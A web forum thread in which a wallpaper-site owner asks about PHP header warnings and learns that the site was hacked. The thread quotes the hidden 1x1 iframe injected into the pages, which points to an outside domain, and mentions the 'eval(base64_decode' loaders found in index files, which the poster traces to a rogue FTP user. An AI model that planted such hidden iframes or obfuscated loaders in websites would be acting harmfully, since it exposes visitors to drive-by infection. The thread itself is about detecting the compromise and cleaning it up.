Wallpaper Script Forum » Bug Support

1. 

   Stranger
   Member

   Hello, can anyone give a suggestion what it could be the problem? i have several wallpapers sites and on all of them appears the same message at the top (all the time all was ok, just today suddenly i found this on all wallpaper scripts):

   """
   Warning: session_register() [function.session-register]: Cannot send session cache limiter - headers already sent (output started at /home/myaccount/domains/mysite.com/public_html/art/index.php(1) : eval()'d code:37) in /home/myaccount/domains/mysite.com/public_html/art/license_check.php.lc on line 88

   Warning: Cannot modify header information - headers already sent by (output started at /home/myaccount/domains/mysite.com/public_html/art/index.php(1) : eval()'d code:37) in /home/myaccount/domains/mysite.com/public_html/art/includes/classes/Cookie.php on line 188

   Warning: Cannot modify header information - headers already sent by (output started at /home/myaccount/domains/mysite.com/public_html/art/index.php(1) : eval()'d code:37) in /home/myaccount/domains/mysite.com/public_html/art/index.php on line 8
   """

   Thank you very much in advance for a suggestions

   P.S. on page source besides this message i additionally see:

   <iframe src="http://y6hs5e.cz.cc/forum.php?tp=818bfe336dc8142c" width="1" height="1"></iframe>

   Is this normal?

   Posted 1 year ago #
2. 

   batu544
   Member

   May be your website was under attack...

   Posted 1 year ago #
3. 

   masti
   Member

   ur site was hacked, replace all index.php and index.html files with original ones ... also don't forget to change your ftp passwords.

   Posted 1 year ago #
4. 

   zeero6
   Member

   Looks like other code is trying to load before yours
   You may hacked. Try removing that code. Always have a back up

   Posted 1 year ago #
5. 

   Stranger
   Member

   Thanks for your responses guys! Yes, unfortunately thats correct, just found many "eval(base64_decode" damn codes, and it is not only on the wallpapers sites but on others too, just this script by showing that error revealed whats happening, im cleaning those codes (yes, they are in index.php and index.html files) but it reappears after some hours (and in the same places) - i did cleaned them 3 times already :( do not know what else to do, i changed password to my admin area, but seems it is not stopping that codes to reappear after cleaning. Could it be that a whole host is hacked (im on shared hosting) with all shared hosting accounts so it doesn't help if i change passwords, or there may be something i still missing to clean up?
   The bad thing is that i can not determine which files were edited/affected as the dates did not changed, somehow those codes appeared without editing files :( or maybe it is because whole host could be hacked?

   Thanks very much guys for your attention to my problem!

   @Matsi
   FTP you mean all ftp i gave to some clients with limited access too or just my main ftp/admin panel password?

   @Zeero6
   This is a sad story - my host was nearly full (10gb of 13gb allowed) and i was not allowed to generate backups because there were not enough free space. I also tried to download all using filezilla some time ago, but failed several times :( so im kind of in some difficulties with this thing too... :(

   Though im still trying now to download using filezilla all the files and will scan them for that damn 64 decode

   Posted 1 year ago #
6. 

   Stranger
   Member

   Guys im not sure if this is the end, but it is quiet for some time after i deleted all my ftp users (never need them anyway) and i think i found suspicious user, which i do not remember that i was creating, expecially for the domain i never need to create ftp for other users.

   Thanks again for your responses, ill post if something will reappear just for everyones experience. Thanks again!

   Posted 1 year ago #

RSS feed for this topic

Reply

You must log in to post.